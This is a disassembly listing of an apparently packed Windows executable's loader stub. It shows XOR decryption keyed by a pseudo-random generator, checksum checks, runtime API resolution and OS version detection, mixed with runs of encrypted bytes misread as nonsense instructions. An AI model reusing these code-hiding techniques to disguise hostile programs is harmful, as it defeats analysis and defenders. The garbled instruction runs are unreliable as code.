CODE XREF: sub_4FD2E0+293j mov edx, [ebp+var_64] cmp edx, [ebp+var_54] jnb short loc_4FD5A6 mov eax, [ebp+var_4C] imul eax, 19660Dh add eax, 3C6EF375h mov [ebp+var_4C], eax mov ecx, [ebp+var_64] mov edx, [ecx] xor edx, [ebp+var_4C] mov eax, [ebp+var_64] mov [eax], edx jmp short loc_4FD575 ; --------------------------------------------------------------------------- loc_4FD5A6: ; CODE XREF: sub_4FD2E0+2A4j mov ecx, [ebp+arg_0] mov edx, [ecx] mov [ebp+var_50], edx mov eax, [ebp+arg_0] mov ecx, [eax+4] mov [ebp+var_60], ecx mov edx, [ebp+arg_0] mov eax, [edx+8] mov [ebp+var_5C], eax mov ecx, [ebp+var_60] push ecx push 40h call ds:dword_50E010 ; LocalAlloc mov [ebp+var_48], eax cmp [ebp+var_48], 0 jz short loc_4FD5DE cmp [ebp+var_60], 10000h jbe short loc_4FD5EF loc_4FD5DE: ; CODE XREF: sub_4FD2E0+2F3j push 0 push 0 push 0 push 0EF0000FFh call ds:dword_50E00C ; RaiseException loc_4FD5EF: ; CODE XREF: sub_4FD2E0+2FCj mov ecx, [ebp+var_60] mov esi, [ebp+arg_0] add esi, 0Ch mov edi, [ebp+var_48] mov edx, ecx shr ecx, 2 rep movsd mov ecx, edx and ecx, 3 rep movsb mov eax, [ebp+var_50] push eax mov ecx, [ebp+arg_0] push ecx mov edx, [ebp+var_60] push edx mov eax, [ebp+var_48] push eax mov ecx, [ebp+var_8] call sub_4FD090 cmp eax, [ebp+var_50] jz short loc_4FD637 push 0 push 0 push 0 push 0EF0000F9h call ds:dword_50E00C ; RaiseException loc_4FD637: ; CODE XREF: sub_4FD2E0+344j mov ecx, [ebp+var_50] push ecx mov edx, [ebp+arg_0] push edx push 0 call sub_4FCF6E add esp, 0Ch cmp eax, [ebp+var_5C] jz short loc_4FD65F push 0 push 0 push 0 push 0EF0000FBh call ds:dword_50E00C ; RaiseException loc_4FD65F: ; CODE XREF: sub_4FD2E0+36Cj mov eax, [ebp+var_50] push eax mov ecx, [ebp+arg_0] push ecx mov edx, ds:dword_51168C push edx call ds:dword_511670 ; FlushInstructionCache mov eax, [ebp+var_48] push eax call ds:dword_50E008 ; LocalFree mov ecx, [ebp+var_8] push ecx call ds:dword_50E008 ; LocalFree push offset dword_511A28 call ds:dword_50E000 ; InitializeCriticalSection push offset dword_511930 call ds:dword_50E000 ; InitializeCriticalSection call sub_4FE2E0 push 80h call sub_50835A add esp, 4 mov [ebp+var_6C], eax cmp [ebp+var_6C], 0 jz short loc_4FD6C6 mov ecx, [ebp+var_6C] call sub_4FDDD0 mov [ebp+var_70], eax jmp short loc_4FD6CD ; --------------------------------------------------------------------------- loc_4FD6C6: ; CODE XREF: sub_4FD2E0+3D7j mov [ebp+var_70], 0 loc_4FD6CD: ; CODE XREF: sub_4FD2E0+3E4j mov edx, offset dword_4FD720 mov eax, [ebp+var_70] mov [edx+4], eax call sub_508C17 mov ds:dword_5160DC, eax mov ecx, [ebp+var_10] mov edx, [ecx] mov ds:dword_511698, edx mov eax, [ebp+var_4] mov ds:off_51169C, eax pop edi pop esi mov esp, ebp pop ebp retn sub_4FD2E0 endp ; --------------------------------------------------------------------------- align 10h loc_4FD700: ; CODE XREF: sub_4FDB8Dp call sub_4FD2E0 pop eax call loc_4FDE60 pop eax mov [esp+24h], eax popa pop eax pop eax call eax call sub_50A0BC ; --------------------------------------------------------------------------- db 6 dup(0CCh) dword_4FD720 dd 0 ; DATA XREF: sub_4FD2E0:loc_4FD6CDo ; sub_5047BF+2Bo ... db 90h db 1Eh, 94h, 0 aHereisbootcode db 27h,'HEREISBOOTCODE',27h,0 align 10h dw 8 unicode 0, <>,0 a_text db '.text',0 ; DATA XREF: _7:off_51169Co align 4 dd 3A8F3h, 1000h, 1CA00h, 400h, 3 dup(0) dd 60000020h, 6164722Eh, 6174h, 2588h, 3C000h, 1400h, 1CE00h dd 3 dup(0) dd 40000040h, 7461642Eh, 61h, 0B5A3Dh, 3F000h, 7C00h, 1E200h dd 3 dup(0) dd 0C0000040h, 6164692Eh, 6174h, 0F4Eh, 0F5000h, 800h dd 25E00h, 3 dup(0) dd 0C0000040h, 6C65722Eh, 636Fh, 510Eh, 0F6000h, 5 dup(0) dd 40000040h, 7865742Eh, 74h, 11ABFh, 0FC000h, 0B600h dd 26600h, 3 dup(0) dd 0E0000040h, 6164722Eh, 6174h, 0D76h, 10E000h, 0E00h dd 31C00h, 3 dup(0) dd 0E0000040h, 7461642Eh, 61h, 7110h, 10F000h, 1C00h, 32A00h dd 3 dup(0) dd 0E0000040h, 0A9h dup(0) dd 32000000h, 30353030h db 35h, 31h, 38h ; =============== S U B R O U T I N E ======================================= public start start proc near call $+5 pusha call sub_4FDB8D ; CODE XREF: start+47j and [eax], esi mov al, 55h sbb esi, [bx+si-159Bh] fild qword ptr [edx-27h] dec ebp aas mov ebx, [ebp-66628BB6h] pop esi imul esp, [ebx+64BA309h], 7947007Ah sbb eax, 0A6866B32h inc edx dec edi add [ebx-4D679EACh], cl dec esi jns short loc_4FDB6F insd loc_4FDB6F: ; CODE XREF: start+39j and eax, 0C17C47D5h into and [ebp+25h], ebp aad 47h jl short near ptr loc_4FDB39+4 into and ecx, ebp ; CODE XREF: _5:004FDF39p _5:004FECB0p ... start endp ; sp-analysis failed sbb ch, [ebp+0] add cl, ch db 2Eh insd ; --------------------------------------------------------------------------- dw 0 ; --------------------------------------------------------------------------- jmp loc_5048B6 ; =============== S U B R O U T I N E ======================================= sub_4FDB8D proc near ; CODE XREF: start:loc_4FDB39p call loc_4FD700 jmp sub_50DAB0 sub_4FDB8D endp ; --------------------------------------------------------------------------- jmp sub_50DAB0 ; --------------------------------------------------------------------------- dd 0CBCB4CE9h, 0E452E9DBh, 0E7E9626Dh, 0E9234555h, 0E41E8650h dd 0FCAA04C9h, 865B0446h, 0A6AF4B6Ah, 0E9BAF88Dh, 20h dd 0F3h, 2060400h, 9E6h, 5 dup(0) dd 41DDB5F0h, 8CE6E82Eh, 6C962C01h, 225D83EAh, 64643168h dd 652E6E33h, 422E6578h, 584Fh, 0Ch dup(0) dd 2A2E2A00h, 63h dup(0) align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4FDDD0 proc near ; CODE XREF: sub_4FD2E0+3DCp var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 8 mov [ebp+var_8], ecx mov eax, [ebp+var_8] mov dword ptr [eax+78h], 0 mov ecx, [ebp+var_8] mov dword ptr [ecx+7Ch], 0 push offset aKernel32_dll_0 ; "kernel32.dll" call ds:dword_50E014 ; GetModuleHandleA mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_4FDE12 push 0 push 0 push 0 push 0EF0000FDh call ds:dword_50E00C ; RaiseException loc_4FDE12: ; CODE XREF: sub_4FDDD0+2Fj mov edx, [ebp+var_8] push edx call ds:dword_50E000 ; InitializeCriticalSection mov eax, [ebp+var_8] add eax, 18h push eax call ds:dword_50E000 ; InitializeCriticalSection mov ecx, [ebp+var_8] add ecx, 30h push ecx call ds:dword_50E000 ; InitializeCriticalSection mov edx, [ebp+var_8] add edx, 48h push edx call ds:dword_50E000 ; InitializeCriticalSection mov eax, [ebp+var_8] mov esp, ebp pop ebp retn sub_4FDDD0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4FDE50 proc near ; CODE XREF: sub_502DD0+50p push ebp mov ebp, esp mov eax, ds:dword_511688 mov al, [eax+70h] pop ebp retn sub_4FDE50 endp ; --------------------------------------------------------------------------- align 10h loc_4FDE60: ; CODE XREF: _5:004FD706p push ebp mov ebp, esp sub esp, 10Ch push ebx push esi push edi mov eax, [ebp+8] mov ds:dword_511688, eax push offset aKernel32_dll_0 ; "kernel32.dll" call ds:dword_511718 ; GetModuleHandleA mov [ebp-8], eax cmp dword ptr [ebp-8], 0 jnz short loc_4FDE99 push 0 push 0 push 0 push 0EF0000FDh call ds:dword_511778 ; RaiseException loc_4FDE99: ; CODE XREF: _5:004FDE86j push offset aVirtualalloc ; "VirtualAlloc" mov ecx, [ebp-8] push ecx call ds:dword_511728 ; GetProcAddress mov [ebp-0Ch], eax cmp dword ptr [ebp-0Ch], 0 jnz short loc_4FDEC2 push 0 push 0 push 0 push 0EF0000FCh call ds:dword_511778 ; RaiseException loc_4FDEC2: ; CODE XREF: _5:004FDEAFj push 4 push 1000h push 1000h push 0 call dword ptr [ebp-0Ch] mov ds:dword_511674, eax push 4 push 2000h call ds:dword_51173C ; GetTickCount xor edx, edx mov ecx, 8000h div ecx push edx push 0 call dword ptr [ebp-0Ch] mov ds:dword_51167C, eax push 4 push 1000h push 1000h push 0 call dword ptr [ebp-0Ch] mov ds:dword_511678, eax mov edx, ds:dword_511674 mov dword ptr [edx], 19660Dh mov eax, ds:dword_511678 mov dword ptr [eax], 3C6EF35Fh mov dword ptr [ebp-14h], 0 mov dword ptr [ebp-4], 0 push 2E0000h call near ptr loc_4FDB7D+1 adc eax, 3C65AC02h cmpxchg [esi], cl xchg edi, [edx+2E8519EFh] cmp ecx, ebx xchg eax, ecx db 66h out 0F9h, al ; AT 80287 data. ; 286 sends opcodes & operands and receives results. mov [ecx+5Ch], ebp dec edi db 36h pop edi xlat sbb ecx, [esi] add [edx+6E24A10Dh], eax dec esp xor [eax+73h], ecx mov ds:48B5728Dh, al db 3Eh xor [ebx+78h], ecx mov dl, 8Ah fcomp qword ptr [eax+ebx*8-38h] and eax, 8467D355h xchg eax, ecx sahf and [ebp-13713BBFh], al or ah, [ebx-48D2FD85h] inc edi mov esp, 77849591h add eax, 4C759C32h pop ds xchg eax, esi push ds cmp cl, [edi-1] and al, 31h db 3Eh dec ebx xor [ebp+72h], ah ; --------------------------------------------------------------------------- aDmqqh?2rr3EUul db 'dqqH?23҅uE',8,'qEh',1Bh,0 db '!',0 db 0E8h, 0BCh, 0FBh dd 9090FFFFh, 0C985C933h, 558BEE75h, 8D8D52E8h, 0FFFFFF18h dd 41EFE8h, 216800h, 9BE80026h, 90FFFFFBh, 85C03390h, 6AEE75C0h dd 840D8B08h, 51005116h, 0FF188D8Dh, 94E8FFFFh, 68000046h dd 26h, 0FFFB75E8h, 0DD7144FFh, 57C78D29h, 56C454C1h, 0E9957046h dd 2E4E5B6Ch, 7725EB5Bh, 0ADF7793Fh, 0D11C487Eh, 0DF97F072h dd 3F5DFA9Bh, 75E9DCC2h, 0F7518C7h, 0B6514437h, 6D7A8355h dd 0C0339090h, 0EE75C085h, 16840D8Bh, 118B0051h, 0A1F05589h dd 511684h, 4D89088Bh, 9468ECh, 0F3E80000h, 830000A2h dd 858904C4h, 0FFFFFEFCh, 0FEFC958Bh, 9589FFFFh, 0FFFFFF14h dd 25B9h, 8BC03300h, 0FFFF14BDh, 8BABF3FFh, 0FFFF1485h dd 9400C7FFh, 8B000000h, 0FFFF148Dh, 15FF51FFh, 511738h dd 0FF14958Bh, 428BFFFFh, 1680A310h, 85C70051h, 0FFFFFF10h dd 0 ; --------------------------------------------------------------------------- mov ecx, ds:dword_511680 mov [ebp-10Ch], ecx cmp dword ptr [ebp-10Ch], 0 jz short loc_4FE0E8 cmp dword ptr [ebp-10Ch], 1 jz short loc_4FE0F7 cmp dword ptr [ebp-10Ch], 2 jz short loc_4FE14E jmp loc_4FE1EB ; --------------------------------------------------------------------------- loc_4FE0E8: ; CODE XREF: _5:004FE0CFj mov dword ptr [ebp-0F0h], offset aWin32s ; "win32s" jmp loc_4FE1EB ; --------------------------------------------------------------------------- loc_4FE0F7: ; CODE XREF: _5:004FE0D8j mov edx, [ebp-0ECh] cmp dword ptr [edx+8], 0 jnz short loc_4FE10F mov dword ptr [ebp-0F0h], offset aWindows95 ; "Windows95" jmp short loc_4FE149 ; --------------------------------------------------------------------------- loc_4FE10F: ; CODE XREF: _5:004FE101j mov eax, [ebp-0ECh] cmp dword ptr [eax+8], 0Ah jnz short loc_4FE127 mov dword ptr [ebp-0F0h], offset aWindows98 ; "Windows98" jmp short loc_4FE149 ; --------------------------------------------------------------------------- loc_4FE127: ; CODE XREF: _5:004FE119j mov ecx, [ebp-0ECh] cmp dword ptr [ecx+8], 5Ah jnz short loc_4FE13F mov dword ptr [ebp-0F0h], offset aWindowsme ; "WindowsMe" jmp short loc_4FE149 ; --------------------------------------------------------------------------- loc_4FE13F: ; CODE XREF: _5:004FE131j mov dword ptr [ebp-0F0h], offset aWindows9xUnkno ; "Windows9x(unknown)" loc_4FE149: ; CODE XREF: _5:004FE10Dj _5:004FE125j ... jmp loc_4FE1EB ; --------------------------------------------------------------------------- loc_4FE14E: ; CODE XREF: _5:004FE0E1j mov edx, [ebp-0ECh] cmp dword ptr [edx+4], 3 jnz short loc_4FE169 mov dword ptr [ebp-0F0h], offset aWindowsnt3_51 ; "WindowsNT(3.51)" jmp loc_4FE1EB ; --------------------------------------------------------------------------- loc_4FE169: ; CODE XREF: _5:004FE158j mov eax, [ebp-0ECh] cmp dword ptr [eax+4], 4 jnz short loc_4FE181 mov dword ptr [ebp-0F0h], offset aWindowsnt4_0 ; "WindowsNT(4.0)" jmp short loc_4FE1EB ; --------------------------------------------------------------------------- loc_4FE181: ; CODE XREF: _5:004FE173j mov ecx, [ebp-0ECh] cmp dword ptr [ecx+4], 5 jnz short loc_4FE1E1 mov edx, [ebp-0ECh] cmp dword ptr [edx+8], 0 jnz short loc_4FE1A5 mov dword ptr [ebp-0F0h], offset aWindows2000 ; "Windows2000" jmp short loc_4FE1DF ; --------------------------------------------------------------------------- loc_4FE1A5: ; CODE XREF: _5:004FE197j mov eax, [ebp-0ECh] cmp dword ptr [eax+8], 1 jnz short loc_4FE1BD mov dword ptr [ebp-0F0h], offset aWindowsxp ; "WindowsXP" jmp short loc_4FE1DF ; --------------------------------------------------------------------------- loc_4FE1BD: ; CODE XREF: _5:004FE1AFj mov ecx, [ebp-0ECh] cmp dword ptr [ecx+8], 2 jnz short loc_4FE1D5 mov dword ptr [ebp-0F0h], offset aWindows_net ; "Windows.NET" jmp short loc_4FE1DF ; --------------------------------------------------------------------------- loc_4FE1D5: ; CODE XREF: _5:004FE1C7j mov dword ptr [ebp-0F0h], offset aWindowsntUnkno ; "WindowsNT(unknown)" loc_4FE1DF: ; CODE XREF: _5:004FE1A3j _5:004FE1BBj ... jmp short loc_4FE1EB ; --------------------------------------------------------------------------- loc_4FE1E1: ; CODE XREF: _5:004FE18Bj mov dword ptr [ebp-0F0h], offset aWindowsntUnkno ; "WindowsNT(unknown)" loc_4FE1EB: ; CODE XREF: _5:004FE0E3j _5:004FE0F2j ... mov edx, [ebp-0ECh] mov [ebp-108h], edx mov eax, [ebp-108h] push eax call sub_5083DD add esp, 4 mov ecx, ds:dword_511684 mov edx, [ecx+2Ch] mov [ebp-0F4h], edx cmp dword ptr [ebp-0F4h], 0 jz short loc_4FE28F mov eax, [ebp-0F4h] mov [ebp-0FCh], eax mov dword ptr [ebp-0F8h], 0 jmp short loc_4FE245 ; --------------------------------------------------------------------------- loc_4FE236: ; CODE XREF: _5:004FE28Dj mov ecx, [ebp-0F8h] add ecx, 1 mov [ebp-0F8h], ecx loc_4FE245: ; CODE XREF: _5:004FE234j cmp dword ptr [ebp-0F8h], 80h jge short loc_4FE28F mov edx, [ebp-0FCh] imul edx, 19660Dh add edx, 3C6EF35Fh mov [ebp-0FCh], edx mov eax, [ebp-0F8h] mov ecx, [ebp-0F4h] mov edx, [ecx+eax*4] xor edx, [ebp-0FCh] mov eax, [ebp-0F8h] mov ecx, [ebp-0F4h] mov [ecx+eax*4], edx jmp short loc_4FE236 ; --------------------------------------------------------------------------- loc_4FE28F: ; CODE XREF: _5:004FE21Cj _5:004FE24Fj mov edx, ds:dword_511684 mov eax, [edx+24h] and eax, 10h neg eax sbb eax, eax neg eax mov ds:byte_511694, al call sub_504DC0 mov ecx, [ebp-14h] mov [ebp+8], ecx cmp ds:dword_515A54, 0 jz short loc_4FE2CD push 0 push 0 push 0 mov edx, ds:dword_515A54 push edx call ds:dword_511838 ; PostMessageA loc_4FE2CD: ; CODE XREF: _5:004FE2B8j xor eax, eax pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4FE2E0 proc near ; CODE XREF: sub_4FD2E0+3BEp var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 14h push offset aKernel32_dll_0 ; "kernel32.dll" call ds:dword_50E014 ; GetModuleHandleA mov [ebp+var_C], eax cmp [ebp+var_C], 0 jnz short loc_4FE30B push 0 push 0 push 0 push 0EF0000FDh call ds:dword_50E00C ; RaiseException loc_4FE30B: ; CODE XREF: sub_4FE2E0+18j push offset aClosehandle ; "CloseHandle" mov eax, [ebp+var_C] push eax call ds:dword_50E004 ; GetProcAddress mov ds:dword_5116A4, eax push offset aCreatefilea ; "CreateFileA" mov ecx, [ebp+var_C] push ecx call ds:dword_50E004 ; GetProcAddress mov ds:dword_5116A8, eax push offset aCreatefilew ; "CreateFileW" mov edx, [ebp+var_C] push edx call ds:dword_50E004 ; GetProcAddress mov ds:dword_5116AC, eax push offset aCreatefilemapp ; "CreateFileMappingA" mov eax, [ebp+var_C] push eax call ds:dword_50E004 ; GetProcAddress mov ds:dword_5116B0, eax push offset aCreatefilema_0 ; "CreateFileMappingW" mov ecx, [ebp+var_C] push ecx call ds:dword_50E004 ; GetProcAddress mov ds:dword_5116B4, eax push offset aCreateprocessa ; "CreateProcessA" mov edx, [ebp+var_C] push edx call ds:dword_50E004 ; GetProcAddress mov ds:dword_5116B8, eax push offset aDebugbreak ; "DebugBreak" mov eax, [ebp+var_C] push eax call ds:dword_50E004 ; GetProcAddress mov ds:dword_5116BC, eax push offset aDeletefilea ; "DeleteFileA" mov ecx, [ebp+var_C] push ecx call ds:dword_50E004 ; GetProcAddress mov ds:dword_5116C0, eax push offset aEntercriticals ; "EnterCriticalSection" mov edx, [ebp+var_C] push edx call ds:dword_50E004 ; GetProcAddress mov ds:dword_5116C4, eax push offset aExitprocess ; "ExitProcess" mov eax, [ebp+var_C] push eax call ds:dword_50E004 ; GetProcAddress mov ds:dword_5116C8, eax push offset aFindclose ; "FindClose" mov ecx, [ebp+var_C] push ecx call ds:dword_50E004 ; GetProcAddress mov ds:dword_5116CC, eax push offset aFindfirstfilea ; "FindFirstFileA" mov edx, [ebp+var_C] push edx call ds:dword_50E004 ; GetProcAddress mov ds:dword_5116D0, eax push offset aFindnextfilea ; "FindNextFileA" mov eax, [ebp+var_C] push eax call ds:dword_50E004 ; GetProcAddress mov ds:dword_5116D4, eax push offset aFlushfilebuffe ; "FlushFileBuffers" mov ecx, [ebp+var_C] push ecx call ds:dword_50E004 ; GetProcAddress mov ds:dword_5116D8, eax push offset aFormatmessagea ; "FormatMessageA" mov edx, [ebp+var_C] push edx call ds:dword_50E004 ; GetProcAddress mov ds:dword_5116DC, eax push offset aFreelibrary ; "FreeLibrary" mov eax, [ebp+var_C] push eax call ds:dword_50E004 ; GetProcAddress mov ds:dword_5116E0, eax push offset aGetcurrentproc ; "GetCurrentProcess" mov ecx, [ebp+var_C] push ecx call ds:dword_50E004 ; GetProcAddress mov ds:dword_5116E4, eax push offset aGetcurrentpr_0 ; "GetCurrentProcessId" mov edx, [ebp+var_C] push edx call ds:dword_50E004 ; GetProcAddress mov ds:dword_5116E8, eax push offset aGetenvironment ; "GetEnvironmentVariableA" mov eax, [ebp+var_C] push eax call ds:dword_50E004 ; GetProcAddress mov ds:dword_5116EC, eax push offset aGetexitcodepro ; "GetExitCodeProcess" mov ecx, [ebp+var_C] push ecx call ds:dword_50E004 ; GetProcAddress mov ds:dword_5116F0, eax push offset aGetfileattribu ; "GetFileAttributesA" mov edx, [ebp+var_C] push edx call ds:dword_50E004 ; GetProcAddress mov ds:dword_5116F4, eax push offset aGetfileattri_0 ; "GetFileAttributesW" mov eax, [ebp+var_C] push eax call ds:dword_50E004 ; GetProcAddress mov ds:dword_5116F8, eax push offset aGetfileinforma ; "GetFileInformationByHandle" mov ecx, [ebp+var_C] push ecx call ds:dword_50E004 ; GetProcAddress mov ds:dword_5116FC, eax push offset aGetfilesize ; "GetFileSize" mov edx, [ebp+var_C] push edx call ds:dword_50E004 ; GetProcAddress mov ds:dword_511700, eax push offset aGetfiletime ; "GetFileTime" mov eax, [ebp+var_C] push eax call ds:dword_50E004 ; GetProcAddress mov ds:dword_511704, eax push offset aGetfullpathnam ; "GetFullPathNameA" mov ecx, [ebp+var_C] push ecx call ds:dword_50E004 ; GetProcAddress mov ds:dword_511708, eax push offset aGetfullpathn_0 ; "GetFullPathNameW" mov edx, [ebp+var_C] push edx call ds:dword_50E004 ; GetProcAddress mov ds:dword_51170C, eax push offset aGetlasterror ; "GetLastError" mov eax, [ebp+var_C] push eax call ds:dword_50E004 ; GetProcAddress mov ds:dword_511710, eax push offset aGetmodulefilen ; "GetModuleFileNameA" mov ecx, [ebp+var_C] push ecx call ds:dword_50E004 ; GetProcAddress mov ds:dword_511714, eax push offset aGetmodulehandl ; "GetModuleHandleA" mov edx, [ebp+var_C] push edx call ds:dword_50E004 ; GetProcAddress mov ds:dword_511718, eax push offset aGetprivateprof ; "GetPrivateProfileIntA" mov eax, [ebp+var_C] push eax call ds:dword_50E004 ; GetProcAddress mov ds:dword_51171C, eax push offset aGetprivatepr_0 ; "GetPrivateProfileSectionNamesA" mov ecx, [ebp+var_C] push ecx call ds:dword_50E004 ; GetProcAddress mov ds:dword_511720, eax push offset aGetprivatepr_1 ; "GetPrivateProfileStringA" mov edx, [ebp+var_C] push edx call ds:dword_50E004 ; GetProcAddress mov ds:dword_511724, eax push offset aGetprocaddress ; "GetProcAddress" mov eax, [ebp+var_C] push eax call ds:dword_50E004 ; GetProcAddress mov ds:dword_511728, eax push offset aGetsystemtimea ; "GetSystemTimeAsFileTime" mov ecx, [ebp+var_C] push ecx call ds:dword_50E004 ; GetProcAddress mov ds:dword_51172C, eax push offset aGettempfilenam ; "GetTempFileNameA" mov edx, [ebp+var_C] push edx call ds:dword_50E004 ; GetProcAddress mov ds:dword_511730, eax push offset aGettemppatha ; "GetTempPathA" mov eax, [ebp+var_C] push eax call ds:dword_50E004 ; GetProcAddress mov ds:dword_511734, eax push offset aGetversionexa ; "GetVersionExA" mov ecx, [ebp+var_C] push ecx call ds:dword_50E004 ; GetProcAddress mov ds:dword_511738, eax push offset aGettickcount ; "GetTickCount" mov edx, [ebp+var_C] push edx call ds:dword_50E004 ; GetProcAddress mov ds:dword_51173C, eax push offset aHeapalloc ; "HeapAlloc" mov eax, [ebp+var_C] push eax call ds:dword_50E004 ; GetProcAddress mov ds:dword_511740, eax push offset aHeapfree ; "HeapFree" mov ecx, [ebp+var_C] push ecx call ds:dword_50E004 ; GetProcAddress mov ds:dword_511744, eax push offset aHeapcreate ; "HeapCreate" mov edx, [ebp+var_C] push edx call ds:dword_50E004 ; GetProcAddress mov ds:dword_511748, eax push offset aInitializecrit ; "InitializeCriticalSection" mov eax, [ebp+var_C] push eax call ds:dword_50E004 ; GetProcAddress mov ds:dword_51174C, eax push offset aDeletecritical ; "DeleteCriticalSection" mov ecx, [ebp+var_C] push ecx call ds:dword_50E004 ; GetProcAddress mov ds:dword_511750, eax push offset aLeavecriticals ; "LeaveCriticalSection" mov edx, [ebp+var_C] push edx call ds:dword_50E004 ; GetProcAddress mov ds:dword_511754, eax push offset aLoadlibrarya ; "LoadLibraryA" mov eax, [ebp+var_C] push eax call ds:dword_50E004 ; GetProcAddress mov ds:dword_51175C, eax push offset aLoadlibraryexa ; "LoadLibraryExA" mov ecx, [ebp+var_C] push ecx call ds:dword_50E004 ; GetProcAddress mov ds:dword_511758, eax push offset aLocalalloc ; "LocalAlloc" mov edx, [ebp+var_C] push edx call ds:dword_50E004 ; GetProcAddress mov ds:dword_511760, eax push offset aLocalfree ; "LocalFree" mov eax, [ebp+var_C] push eax call ds:dword_50E004 ; GetProcAddress mov ds:dword_511764, eax push offset aLockfile ; "LockFile" mov ecx, [ebp+var_C] push ecx call ds:dword_50E004 ; GetProcAddress mov ds:dword_511768, eax push offset aMapviewoffile ; "MapViewOfFile" mov edx, [ebp+var_C] push edx call ds:dword_50E004 ; GetProcAddress mov ds:dword_51176C, eax push offset aMultibytetowid ; "MultiByteToWideChar" mov eax, [ebp+var_C] push eax call ds:dword_50E004 ; GetProcAddress mov ds:dword_511770, eax push offset aOpenprocess ; "OpenProcess" mov ecx, [ebp+var_C] push ecx call ds:dword_50E004 ; GetProcAddress mov ds:dword_511774, eax push offset aRaiseexception ; "RaiseException" mov edx, [ebp+var_C] push edx call ds:dword_50E004 ; GetProcAddress mov ds:dword_511778, eax push offset aReadfile_0 ; "ReadFile" mov eax, [ebp+var_C] push eax call ds:dword_50E004 ; GetProcAddress mov ds:dword_51177C, eax push offset aSetenvironment ; "SetEnvironmentVariableA" mov ecx, [ebp+var_C] push ecx call ds:dword_50E004 ; GetProcAddress mov ds:dword_511780, eax push offset aSetevent ; "SetEvent" mov edx, [ebp+var_C] push edx call ds:dword_50E004 ; GetProcAddress mov ds:dword_511784, eax push offset aSetfilepointer ; "SetFilePointer" mov eax, [ebp+var_C] push eax call ds:dword_50E004 ; GetProcAddress mov ds:dword_511788, eax push offset aSetlasterror ; "SetLastError" mov ecx, [ebp+var_C] push ecx call ds:dword_50E004 ; GetProcAddress mov ds:dword_51178C, eax push offset aSetunhandledex ; "SetUnhandledExceptionFilter" mov edx, [ebp+var_C] push edx call ds:dword_50E004 ; GetProcAddress mov ds:dword_511790, eax push offset aSleep ; "Sleep" mov eax, [ebp+var_C] push eax call ds:dword_50E004 ; GetProcAddress mov ds:dword_511794, eax push offset aTerminateproce ; "TerminateProcess" mov ecx, [ebp+var_C] push ecx call ds:dword_50E004 ; GetProcAddress mov ds:dword_511798, eax push offset aUnlockfile ; "UnlockFile" mov edx, [ebp+var_C] push edx call ds:dword_50E004 ; GetProcAddress mov ds:dword_51179C, eax push offset aUnmapviewoffil ; "UnmapViewOfFile" mov eax, [ebp+var_C] push eax call ds:dword_50E004 ; GetProcAddress mov ds:dword_5117A0, eax push offset aVirtualalloc ; "VirtualAlloc" mov ecx, [ebp+var_C] push ecx call ds:dword_50E004 ; GetProcAddress mov ds:dword_5117A4, eax push offset aVirtualfree ; "VirtualFree" mov edx, [ebp+var_C] push edx call ds:dword_50E004 ; GetProcAddress mov ds:dword_5117A8, eax push offset aVirtualprotect ; "VirtualProtect" mov eax, [ebp+var_C] push eax call ds:dword_50E004 ; GetProcAddress mov ds:dword_5117AC, eax push offset aVirtualquery ; "VirtualQuery" mov ecx, [ebp+var_C] push ecx call ds:dword_50E004 ; GetProcAddress mov ds:dword_5117B0, eax push offset aWaitforsingleo ; "WaitForSingleObject" mov edx, [ebp+var_C] push edx call ds:dword_50E004 ; GetProcAddress mov ds:dword_5117B4, eax push offset aWidechartomult ; "WideCharToMultiByte" mov eax, [ebp+var_C] push eax call ds:dword_50E004 ; GetProcAddress mov ds:dword_5117B8, eax push offset aWritefile ; "WriteFile" mov ecx, [ebp+var_C] push ecx call ds:dword_50E004 ; GetProcAddress mov ds:dword_5117BC, eax push offset aLstrcmpia ; "lstrcmpiA" mov edx, [ebp+var_C] push edx call ds:dword_50E004 ; GetProcAddress mov ds:dword_5117C0, eax push offset aUser32_dll_1 ; "user32.dll" call ds:dword_51175C ; LoadLibraryA mov [ebp+var_10], eax cmp [ebp+var_10], 0 jnz short loc_4FE8D0 push 0 push 0 push 0 push 0EF0000F7h call ds:dword_50E00C ; RaiseException loc_4FE8D0: ; CODE XREF: sub_4FE2E0+5DDj push offset aChangedisplays ; "ChangeDisplaySettingsA" mov eax, [ebp+var_10] push eax call ds:dword_50E004 ; GetProcAddress mov ds:dword_5117C4, eax push offset aCharupperbuffa ; "CharUpperBuffA" mov ecx, [ebp+var_10] push ecx call ds:dword_50E004 ; GetProcAddress mov ds:dword_5117C8, eax push offset aLoadimagea ; "LoadImageA" mov edx, [ebp+var_10] push edx call ds:dword_50E004 ; GetProcAddress mov ds:dword_5117CC, eax push offset aMessageboxa_0 ; "MessageBoxA" mov eax, [ebp+var_10] push eax call ds:dword_50E004 ; GetProcAddress mov ds:dword_5117D0, eax push offset aWsprintfa_0 ; "wsprintfA" mov ecx, [ebp+var_10] push ecx call ds:dword_50E004 ; GetProcAddress mov ds:dword_5117D4, eax push offset aWvsprintfa ; "wvsprintfA" mov edx, [ebp+var_10] push edx call ds:dword_50E004 ; GetProcAddress mov ds:dword_5117D8, eax push offset aGdi32_dll_0 ; "gdi32.dll" call ds:dword_51175C ; LoadLibraryA mov [ebp+var_8], eax cmp [ebp+var_8], 0 jnz short loc_4FE96D push 0 push 0 push 0 push 0EF0000F6h call ds:dword_50E00C ; RaiseException loc_4FE96D: ; CODE XREF: sub_4FE2E0+67Aj push offset aAddfontresourc ; "AddFontResourceA" mov eax, [ebp+var_8] push eax call ds:dword_50E004 ; GetProcAddress mov ds:dword_5117DC, eax push offset aCreatecompat_0 ; "CreateCompatibleDC" mov ecx, [ebp+var_8] push ecx call ds:dword_50E004 ; GetProcAddress mov ds:dword_5117E0, eax push offset aCreatedibsec_0 ; "CreateDIBSection" mov edx, [ebp+var_8] push edx call ds:dword_50E004 ; GetProcAddress mov ds:dword_5117E4, eax push offset aDeletedc_0 ; "DeleteDC" mov eax, [ebp+var_8] push eax call ds:dword_50E004 ; GetProcAddress mov ds:dword_5117E8, eax push offset aRemovefontreso ; "RemoveFontResourceA" mov 